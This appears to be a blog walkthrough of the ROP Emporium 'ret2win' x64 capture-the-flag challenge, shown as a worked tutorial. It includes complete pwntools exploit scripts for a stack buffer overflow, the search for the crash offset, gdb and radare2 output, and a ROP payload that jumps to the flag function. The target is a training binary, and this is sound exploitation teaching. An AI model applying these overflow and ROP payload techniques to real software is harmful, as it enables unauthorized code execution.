Contents

ROP Emporium - ret2win (x64)

Summary

ret2win was a simple challenge from the rop emporium that required the pwner to jump to a flag function, effectively reusing code within the exectuable file at runtime. It introduced the basics of ROP chaining with minimal countermeasures to simplify the process of attacking binaries with a non-executable stack. In this blog post, I break down how I solved this challlenge.

Analyze the Countermeasures

Always analyze binary countermeasures because it will determine our objective for exploiting the binary and what the limitations are. For all my binary exploit development walkthroughs, I will be using pwntools which when installed comes with checksec. This tool analyzes countermeasures in the binary when it was initially compiled:

$ checksec ret2win
[*] '/home/kali/ctf/rop-emporium/ret2win/x64/ret2win'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

The only countermeasures were Partial RELRO and a non-executable stack. Partial RELRO is the default setting in the gcc compiler toolchain and nearly all binaries will have this. For this excercise, partial RELRO makes no difference other than it forces the GOT to come before the BSS in memory which elimitaes the risk of buffer overflows on a global variable overwriting GOT entries. You can read more on RELRO here.

The meaningful countermeasure in this case is the non-executable stack because we won’t be able to redirect the program’s execution to memory instructions located on the stack.

Find the Crashing Offset

Ok, let’s crash the app so we can find the offset in the stack buffer overflow where we can take control of the RIP register. We can find the offset by generating sequential chunks of De Brujin sequences with pwntools’ cyclic() function. When the application crashes, the RSP (Stack Pointer) register will return to an offset within our sequence which we can lookup. When the program returns, the RIP register (Instruction Pointer Register) will be set to this value, relinquishing it’s execution flow to us.

Once the app crashes, we lookup the value of the RSP register from the core dump and lookup the value with pwntools’ cyclic_find() function. That will give us the offset from where we can take control of the RIP regsiter:

exploit.py

from pwn import *

# Set the pwntools context
context.arch = 'amd64'
context.log_level = 'debug'

# Project constants
PROCESS = './ret2win'

# Start the process
io = process(PROCESS)

# Send a cyclic pattern
io.sendline(cyclic(128))

# Wait for the process to crash
io.wait()

# Read the core file
core = io.corefile

# Read the stack pointer at the time of the crash
stack = core.rsp
info("stack: %#x", stack)

# Find the offset for where the binary crashed
pattern = core.read(stack, 4)
offset = cyclic_find(pattern)
info("pattern: %r", pattern)
info("crash offset: %r", offset)
$ python3 exploit.py
[+] Starting local process './ret2win' argv=[b'./ret2win'] : pid 3849
[DEBUG] Sent 0x81 bytes:
    b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaab\n'
[*] Process './ret2win' stopped with exit code -11 (SIGSEGV) (pid 3849)
[DEBUG] core_pattern: b'core'
[DEBUG] core_uses_pid: False
[DEBUG] interpreter: ''
[DEBUG] Looking for QEMU corefile
[DEBUG] Trying corefile_path: '/home/kali/ctf/rop-emporium/ret2win/x64/qemu_ret2win_*_3849.core'
[DEBUG] Looking for native corefile
[DEBUG] Checking for corefile (pattern)
[DEBUG] Trying corefile_path: '/home/kali/ctf/rop-emporium/ret2win/x64/core'
[+] Parsing corefile...: Done
[*] '/tmp/tmpg2gdkpor'
    Arch:      amd64-64-little
    RIP:       0x400755
    RSP:       0x7ffe4b23fef8
    Exe:       '/home/kali/ctf/rop-emporium/ret2win/x64/ret2win' (0x400000)
    Fault:     0x6161616c6161616b
[+] Parsing corefile...: Done
[*] '/home/kali/ctf/rop-emporium/ret2win/x64/core.3849'
    Arch:      amd64-64-little
    RIP:       0x400755
    RSP:       0x7ffe4b23fef8
    Exe:       '/home/kali/ctf/rop-emporium/ret2win/x64/ret2win' (0x400000)
    Fault:     0x6161616c6161616b
[*] stack: 0x7ffe4b23fef8
[*] pattern: b'kaaa'
[*] crash offset: 40

At 40 bytes into the stack buffer overflow, we can set value in the RIP address to an arbitrary value.

Verify Control Over RIP

Let’s verify that we took control over the RIP register by debugging the program in GDB. In the exploit code below, we can set 40 bytes of padding followed by the 64-bit little-endian value to overwrite the RIP register. Then, we flish all the program’s output buffers so that we know it will be ready to read our payload, and then we send it and wait for the app to crash at 0xdeadbeef. Please note that I use gef to make it easier to analyze stack values while developing binary exploits.

exploit.py

from pwn import *

# Set the pwntools context
context.arch = 'amd64'
context.log_level = 'debug'

# Project constants
PROCESS = './ret2win'

# Start the process
io = process(PROCESS)

# Attach the debugger for analysis
gdbscript = ""
pid = gdb.attach(io, gdbscript=gdbscript)

# Build the payload
crash_size = 128
offset = 40
padding = b"A" * offset
rip = p64(0xdeadbeef)
remaining = b"B" * (crash_size - len(padding) - len(rip))
payload = b"".join([
   padding,
   rip,
   remaining
])

# Pwn!
io.clean()
io.sendline(payload)
io.wait()
$ python3 exploit.py
[+] Starting local process './ret2win' argv=[b'./ret2win'] : pid 4603
[*] running in new terminal: /usr/bin/gdb -q  "./ret2win" 4603
[DEBUG] Launching a new terminal: ['/usr/bin/x-terminal-emulator', '-e', '/usr/bin/gdb -q  "./ret2win" 4603']
[+] Waiting for debugger: Done
[DEBUG] Received 0x100 bytes:
    b'ret2win by ROP Emporium\n'
    b'x86_64\n'
    b'\n'
    b'For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!\n'
    b'What could possibly go wrong?\n'
    b"You there, may I have your input please? And don't worry about null bytes, we're using read()!\n"
    b'\n'
    b'> '
[DEBUG] Sent 0x81 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000020  41 41 41 41  41 41 41 41  ef be ad de  00 00 00 00  │AAAA│AAAA│····│····│
    00000030  42 42 42 42  42 42 42 42  42 42 42 42  42 42 42 42  │BBBB│BBBB│BBBB│BBBB│
    *
    00000080  0a                                                  │·│
    00000081
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0xdeadbeef
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ret2win", stopped 0xdeadbeef in ?? (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  

Notice that we have successfully redirected execution of RIP to 0xdeadbeef.

Capturing the Flag

In real-life, our top priority should be to get a shell so that we can execute commands interactively on behalf of the binary. However, since this is a CTF challenge, we only care about capturing the flag. We can use radare2 to check if the binary executes any system commands.

First, we need to analyze the binary:

$ r2 ret2win
[0x004005b0]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.

Next, we can search for all functions exported by the ELF:

[0x004005b0]> afl
0x004005b0    1 42           entry0
0x004005f0    4 42   -> 37   sym.deregister_tm_clones
0x00400620    4 58   -> 55   sym.register_tm_clones
0x00400660    3 34   -> 29   entry.fini0
0x00400690    1 7            entry.init0
0x004006e8    1 110          sym.pwnme
0x00400580    1 6            sym.imp.memset
0x00400550    1 6            sym.imp.puts
0x00400570    1 6            sym.imp.printf
0x00400590    1 6            sym.imp.read
0x00400756    1 27           sym.ret2win
0x00400560    1 6            sym.imp.system
0x004007f0    1 2            sym.__libc_csu_fini
0x004007f4    1 9            sym._fini
0x00400780    4 101          sym.__libc_csu_init
0x004005e0    1 2            sym._dl_relocate_static_pie
0x00400697    1 81           main
0x004005a0    1 6            sym.imp.setvbuf
0x00400528    3 23           sym._init

Looking at the ELF’s ret2win() function, we can see that it is sufficient for dumping the flag and solving the challenge:

[0x004005b0]> pdf @sym.ret2win
┌ 27: sym.ret2win ();
│           0x00400756      55             push rbp
│           0x00400757      4889e5         mov rbp, rsp
│           0x0040075a      bf26094000     mov edi, str.Well_done__Here_s_your_flag: ; 0x400926 ; "Well done! Here's your flag:" ; const char *s
│           0x0040075f      e8ecfdffff     call sym.imp.puts           ; int puts(const char *s)
│           0x00400764      bf43094000     mov edi, str.bin_cat_flag.txt ; 0x400943 ; "/bin/cat flag.txt" ; const char *string
│           0x00400769      e8f2fdffff     call sym.imp.system         ; int system(const char *string)
│           0x0040076e      90             nop
│           0x0040076f      5d             pop rbp
└           0x00400770      c3             ret

At this point, the challenge was nice enough to dump the flag by simply jumping to the ret2win() function as it invokes system("/bin/cat flag.txt"), so let’s update the code to do that.

In the code below, I leveraged pwntools ROP wrapper which we will use in future binary exploitation challenges. The example below doesn’t really chain anything since the only function invoked is ret2win(). However, its good to be familiar with this foundation.

In short, we will redirect the RIP register to point to the memory address of the ret2win() function which will capture the flag for us:

from pwn import *

# Set the pwntools context
context.arch = 'amd64'
context.log_level = 'debug'

# Project constants
PROCESS = './ret2win'

# Start the process
io = process(PROCESS)

rop = ROP(io.elf)
ret2win = p64(io.elf.symbols['ret2win'])
rop.raw(ret2win)
info(rop.dump())

# Build the payload
crash_size = 128
offset = 40
padding = b"A" * offset
rop_chain = rop.chain()
remaining = b"B" * (crash_size - len(padding) - len(rop_chain))
payload = b"".join([
   padding,
   rop_chain,
   remaining
])

# Pwn!
io.clean()
io.sendline(payload)
io.clean()
io.wait()
$ python3 exploit.py
[+] Starting local process './ret2win' argv=[b'./ret2win'] : pid 4895
[DEBUG] PLT 0x400550 puts
[DEBUG] PLT 0x400560 system
[DEBUG] PLT 0x400570 printf
[DEBUG] PLT 0x400580 memset
[DEBUG] PLT 0x400590 read
[DEBUG] PLT 0x4005a0 setvbuf
[*] '/home/kali/ctf/rop-emporium/ret2win/x64/ret2win'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Loaded 14 cached gadgets for './ret2win'
[DEBUG] PLT 0x400550 puts
[DEBUG] PLT 0x400560 system
[DEBUG] PLT 0x400570 printf
[DEBUG] PLT 0x400580 memset
[DEBUG] PLT 0x400590 read
[DEBUG] PLT 0x4005a0 setvbuf
[*] 0x0000: b'V\x07@\x00\x00\x00\x00\x00' b'V\x07@\x00\x00\x00\x00\x00'
[DEBUG] Received 0x100 bytes:
    b'ret2win by ROP Emporium\n'
    b'x86_64\n'
    b'\n'
    b'For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!\n'
    b'What could possibly go wrong?\n'
    b"You there, may I have your input please? And don't worry about null bytes, we're using read()!\n"
    b'\n'
    b'> '
[DEBUG] Sent 0x81 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000020  41 41 41 41  41 41 41 41  56 07 40 00  00 00 00 00  │AAAA│AAAA│V·@·│····│
    00000030  42 42 42 42  42 42 42 42  42 42 42 42  42 42 42 42  │BBBB│BBBB│BBBB│BBBB│
    *
    00000080  0a                                                  │·│
    00000081
[DEBUG] Received 0x28 bytes:
    b'Thank you!\n'
    b"Well done! Here's your flag:\n"
[DEBUG] Received 0x21 bytes:
    b'ROPE{a_placeholder_32byte_flag!}\n'
[*] Process './ret2win' stopped with exit code -11 (SIGSEGV) (pid 4895)

The contents of the flag were: ROPE{a_placeholder_32byte_flag!}.

The important lesson learned here is that the memory address in the RIP register didn’t execute any instructions on the stack! However, we ended up reusing code that already existed in the executable itself to capture the flag!

One last thing to notice is that the process crashed. This is because the stack didn’t unwind properly and returned to a bogus address. In practice, we normally want the process to exit gracefully by returning to the exit() or continue execution by jumping to the main() function. We will see in future challenges how we can use gradually build upon what we learned in this basic challenge.